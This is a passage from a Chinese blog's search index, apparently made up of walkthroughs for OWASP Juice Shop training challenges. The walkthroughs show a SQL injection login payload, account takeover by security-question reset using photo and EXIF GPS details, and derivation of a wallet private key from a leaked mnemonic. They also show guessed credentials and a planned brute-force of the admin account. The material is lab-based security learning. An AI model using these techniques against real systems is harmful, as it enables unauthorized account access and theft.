Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 OWASP Juice Shop 官方攻略 - Forged Feedback ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:3:0","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过仔细观察用户上传照片中的建筑细节，识别出公司名称，利用忘记密码机制重置 Emma 的账户密码。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Visual Geo Stalking：通过照片细节重置密码 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:0:0","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#juice-shop-visual-geo-stalking通过照片细节重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 查看照片中的详细信息，以确定照片的拍摄地点。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:1:0","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:0","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📧 第一步：构建目标邮箱 根据目标用户名 Emma，结合从其他挑战中获取的邮箱域名，拼接出目标邮箱： emma@juice-sh.op 在忘记密码页面输入邮箱后，安全问题自动显示： 你成年后第一次工作的公司是哪家？ ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:1","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#-第一步构建目标邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第二步：下载并分析照片 从照片墙下载 Emma 上传的照片，使用 ExifTool 检查元数据，未发现明显的位置信息。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:2","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#-第二步下载并分析照片"},{"categories":["security"],"collections":["juice-shop"],"content":"🏢 第三步：仔细观察照片细节 仔细查看照片内容，注意到建筑左侧二楼窗户处有一块牌子。 放大后可以辨认出牌子上写着 ITsec，这很可能就是安全问题的答案。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:3","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#-第三步仔细观察照片细节"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第四步：重置密码 在忘记密码页面填写： 邮箱：emma@juice-sh.op 安全问题答案：ITsec ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:4","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#-第四步重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功重置 Emma 的密码，挑战完成。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:2:5","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 OWASP Juice Shop 官方攻略 - Visual Geo Stalking ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-visual-geo-stalking/:3:0","tags":["juice-shop","OSINT","图像分析"],"title":"【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码","uri":"/posts/2026/juice-shop-visual-geo-stalking/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过用户评论中泄露的助记词，使用 BIP39 工具推导以太坊私钥，接管包含官方 Soul Bound Token 的钱包。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:0:0","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#juice-shop-nft-takeover接管-nft-钱包"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 找到意外泄露的种子短语。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:1:0","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:0","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：发现泄露的助记词 提示很简短，短到我直接没有思路（ 这里我们借助了一些不属于我的力量（直接看了一眼攻略） 这里的入口在关于我们底下的客服反馈这里 在关于我们页面底部的客服反馈区域，发现一条包含敏感信息的评论。 从评论中收集到两个关键信息： 路径：/juicy-nft 泄露的助记词： purpose betray marriage blame crunch monitor spin slide donate sport lift clutch ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:1","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#-第一步发现泄露的助记词"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第二步：推导以太坊私钥 访问 BIP39 工具：https://iancoleman.io/bip39/#english 将助记词填入 BIP39 Mnemonic 输入框 将 Coin（币种） 改为 ETH - Ethereum ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:2","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#-第二步推导以太坊私钥"},{"categories":["security"],"collections":["juice-shop"],"content":"📋 第三步：提取第一个私钥 向下滚动至 Derived Addresses（衍生地址） 表格，复制第一行（索引 0）的私钥： 0x5bcc3e9d38baa06e7bfaab80ae5957bbe8ef059e640311d7d6d465e6bc948e3e ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:3","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#-第三步提取第一个私钥"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：接管钱包 回到 Juice Shop，访问第一步收集到的路径 /juicy-nft，将私钥粘贴并提交。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:4","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#-第四步接管钱包"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功接管包含官方 Soul Bound Token 的钱包，挑战完成。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:2:5","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"总结 这里是与web3相关的内容，对于这部分没有接触过的我来说过程还是有点折磨的，即使看着官方的wp，解题还是很慢。 核心思路是： OSINT — 从公开评论中发现泄露的助记词 BIP39 — 利用助记词推导以太坊私钥 私钥即控制权 — 拥有私钥即可完全控制对应钱包 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:3:0","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#总结"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方攻略 - NFT Takeover ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-nft-takeover/:4:0","tags":["juice-shop","OSINT","Web3","区块链安全"],"title":"【juice-shop】★★ NFT Takeover：接管 NFT 钱包","uri":"/posts/2026/juice-shop-nft-takeover/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析 MC SafeSearch 的歌曲《Protect Ya' Passwordz》的歌词和 MV，推断其账户密码并成功登录。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:0:0","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#juice-shop-login-mc-safesearch通过歌词推断密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. MC SafeSearch 是一位说唱歌手，他创作的歌曲《Protect Ya' Passwordz》对密码及敏感数据的保护进行了非常生动的阐述。 2. 看完这首歌的 MV 后，你应该会同意，即便是 ⭐⭐ 的难度评级，对这个挑战来说也略显夸张。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:1:0","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:0","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：初步搜索 这题有 OSINT 标签，那么先使用浏览器搜索一下 尝试登录一下，不对，被浏览器骗了（ ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:1","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第一步初步搜索"},{"categories":["security"],"collections":["juice-shop"],"content":"🎵 第二步：查找歌曲《Protect Ya\u0026rsquo; Passwordz》 根据提示，重点关注歌曲《Protect Ya\u0026rsquo; Passwordz》的歌词和 MV 内容。 相关资源： MV： https://imvdb.com/video/mc-safesearch/protect-ya-passwordz 歌词： https://genius.com/Collegehumor-protect-ya-passwordz-lyrics ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:2","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第二步查找歌曲protect-ya-passwordz"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第三步：分析歌词 查看歌词中与密码相关的关键部分： 歌词中提到了密码的构成方式，包含大小写字母、数字和特殊字符的组合。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:3","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第三步分析歌词"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第四步：推断可能的密码 根据歌词提示，密码可能为以下几种变体： Mr. N0odles Mr. No0dles Mr. Noodl0s Mr. N00dles Mr. N0odl0s Mr. No0dl0s Mr. N00dl0s ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:4","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第四步推断可能的密码"},{"categories":["security"],"collections":["juice-shop"],"content":"📧 第五步：推断可能的邮箱 根据用户名 MC SafeSearch，推测邮箱可能为： mc.safesearch@juice-sh.op Mc.Safesearch@juice-sh.op Mc.safesearch@juice-sh.op mc.Safesearch@juice-sh.op safesearch@juice-sh.op ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:5","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第五步推断可能的邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第六步：逐一测试 在登录页面逐一尝试邮箱和密码组合。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:6","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第六步逐一测试"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第七步：成功登录 最终成功的凭据为： 邮箱：mc.safesearch@juice-sh.op 密码：Mr. N00dles 挑战完成！ ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:2:7","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#-第七步成功登录"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 MC SafeSearch - Protect Ya\u0026rsquo; Passwordz (MV) MC SafeSearch - Protect Ya\u0026rsquo; Passwordz (歌词) ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-login-mc-safesearch/:3:0","tags":["juice-shop","OSINT","弱密码"],"title":"【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码","uri":"/posts/2026/juice-shop-login-mc-safesearch/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过提取用户上传照片的 GPS 元数据，定位其安全问题答案，利用忘记密码机制重置账户密码。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:0:0","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#juice-shop-meta-geo-stalking通过图像元数据重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 查看相应照片的元数据。 2. 使用能够检查图像元数据的工具。 3. 使用此信息回答 John 的安全问题，他喜欢在公园里徒步旅行。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:1:0","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:0","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：信息收集与邮箱猜测 本题涉及 OSINT 技术，需要从公开渠道收集信息。 根据目标名字 John，推测其邮箱可能为： john@juice-sh.op johnny@juice-sh.op ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:1","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第一步信息收集与邮箱猜测"},{"categories":["security"],"collections":["juice-shop"],"content":"📸 第二步：下载目标照片 从照片墙（用户上传的图片）中找到与徒步相关的照片并下载。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:2","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第二步下载目标照片"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第三步：提取 GPS 元数据 使用 ExifTool 提取图像中的地理位置信息： ❯ exiftool favorite-hiking-place.png | grep GPS GPS Version ID : 2.2.0.0 GPS Latitude Ref : North GPS Longitude Ref : West GPS Map Datum : WGS-84 GPS Latitude : 36 deg 57\u0026#39; 31.38\u0026#34; N GPS Longitude : 84 deg 20\u0026#39; 53.58\u0026#34; W GPS Position : 36 deg 57\u0026#39; 31.38\u0026#34; N, 84 deg 20\u0026#39; 53.58\u0026#34; W ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:3","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第三步提取-gps-元数据"},{"categories":["security"],"collections":["juice-shop"],"content":"🗺️ 第四步：坐标转换与地点定位 使用在线工具（如 https://www.itilog.com/ ） 将坐标转换为地点名称： 36 deg 57\u0026#39; 31.38\u0026#34; N, 84 deg 20\u0026#39; 53.58\u0026#34; W ↓ Forest View Road, Laurel County, KY, United States of America ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:4","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第四步坐标转换与地点定位"},{"categories":["security"],"collections":["juice-shop"],"content":"🏞️ 第五步：在地图上查询周边地点 使用 Google Maps 查询该坐标周边的公园和景点。适当调整地图视角以获得更准确的地点信息。 周边主要地点包括： Craigs Creek Group Area Holly Bay Sheltowee Camp Daniel Boone National Forest ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:5","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第五步在地图上查询周边地点"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第六步：重置密码 进入登录页面，点击忘记密码功能： 邮箱：john@juice-sh.op 安全问题答案：Daniel Boone National Forest ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:6","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第六步重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第七步：完成挑战 成功重置 John 的密码，挑战完成。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-meta-geo-stalking/:2:7","tags":["juice-shop","OSINT","元数据泄露"],"title":"【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码","uri":"/posts/2026/juice-shop-meta-geo-stalking/#-第七步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 SQL 注入登录管理员账户，进入管理后台删除五星评论。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-five-star-feedback/","tags":["juice-shop","SQL注入","权限绕过"],"title":"【juice-shop】★★ Five-Star Feedback：删除五星评论","uri":"/posts/2026/juice-shop-five-star-feedback/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Five-Star Feedback：删除五星评论 这里我似乎用意料之外的解法解除了？直接使用 ' or true--登录了管理员，然后使用之前其他挑战收集过来的http://127.0.0.1:3000/#/administration 直接删除了5星评论，通关…… ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-five-star-feedback/:0:0","tags":["juice-shop","SQL注入","权限绕过"],"title":"【juice-shop】★★ Five-Star Feedback：删除五星评论","uri":"/posts/2026/juice-shop-five-star-feedback/#juice-shop-five-star-feedback删除五星评论"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析前端白名单，发现投诉功能中的文件上传接口支持被隐藏的文件类型（XML、YAML），利用已废弃但未删除的 B2B 接口完成挑战。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:0:0","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#juice-shop-deprecated-interface利用废弃-b2b-接口"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r1. 禁用接口的开发者认为闭眼就看不到。 2. 旧版 B2B 界面已被更新换代，升级为更现代的版本。 3. 弃用旧接口时，并非所有组件都从代码库中彻底移除。 4. 仅需使用已弃用的接口即可解决，无需任何攻击或漏洞利用手段。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:1:0","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:0","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 前置条件：登录账户 需要登录才能进行挑战。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:1","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-前置条件登录账户"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：API 收集与探测 既然是接口，那我们进行一下api收集 这里借助了FindSomething 这个firefox插件，虽然没有派上用 (╯°□°）╯︵ ┻━┻ 这一步可能没有直接收获，但有助于理解应用的接口结构。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:2","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第一步api-收集与探测"},{"categories":["security"],"collections":["juice-shop"],"content":"📝 第二步：发现投诉功能的文件上传接口 登录后，进入投诉（Complaint）功能，发现其中包含文件上传功能。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:3","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第二步发现投诉功能的文件上传接口"},{"categories":["security"],"collections":["juice-shop"],"content":"📋 第三步：测试前端白名单限制 创建测试文件： ❯ touch 1.zip ❯ touch 1.pdf UI 提示仅支持 PDF 和 ZIP 格式，尝试上传这两种格式的文件，系统提示 客户支持人员将很快与您联系！。（并不会，这是本地环境 尝试上传这两个后缀之外的文件，最好也是空文件，本地环境无所谓，选择了note.txt笔记文件，它甚至不给提交！ ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:4","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第三步测试前端白名单限制"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第四步：分析前端代码 在 main.js 代码中搜索与文件上传相关的白名单配置，发现以下可疑代码： allowedMimeType: [\u0026#34;application/pdf\u0026#34;, \u0026#34;application/xml\u0026#34;, \u0026#34;text/xml\u0026#34;, \u0026#34;application/zip\u0026#34;, \u0026#34;application/x-zip-compressed\u0026#34;, \u0026#34;multipart/x-zip\u0026#34;, \u0026#34;application/yaml\u0026#34;, \u0026#34;application/x-yaml\u0026#34;, \u0026#34;text/yaml\u0026#34;, \u0026#34;text/x-yaml\u0026#34;], 关键发现：虽然 UI 提示仅支持 PDF 和 ZIP，但前端白名单实际上包含了 XML 和 YAML 等被隐藏的文件类型——这正是已废弃但未删除的 B2B 接口所支持的格式。 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:5","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第四步分析前端代码"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第五步：利用隐藏的文件类型 使用touch 创建一个空xml ❯ touch 1.xml ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:6","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第五步利用隐藏的文件类型"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第六步：完成挑战 点击提交后完成！ ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:2:7","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#-第六步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方攻略 - Deprecated Interface ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-deprecated-interface/:3:0","tags":["juice-shop","接口枚举","前端验证绕过"],"title":"【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口","uri":"/posts/2026/juice-shop-deprecated-interface/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 Burp Suite Intruder 对管理员账户进行字典爆破，发现其使用弱密码 admin123。","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Password Strength：管理员弱密码爆破 ","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:0:0","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#juice-shop-password-strength管理员弱密码爆破"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r1. 此题可通过三种不同方法解决。 2. 猜猜看或许就行。 3. 若已获取管理员密码哈希值，可尝试对其发起攻击。 4. 若使用某些黑客工具，也可通过通用密码列表进行暴力破解攻击。\r","date":"2026-04-05","objectID":"/posts/2026/juice-shop-password-strength/:1:0","tags":["juice-shop","暴力破解","弱密码"],"title":"【juice-shop】★★ Password Strength：管理员弱密码爆破","uri":"/posts/2026/juice-shop-password-strength/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 本题需要事先获取管理员的登录邮箱，推荐先完成 Login Admin 挑战，或与本题同步完成。 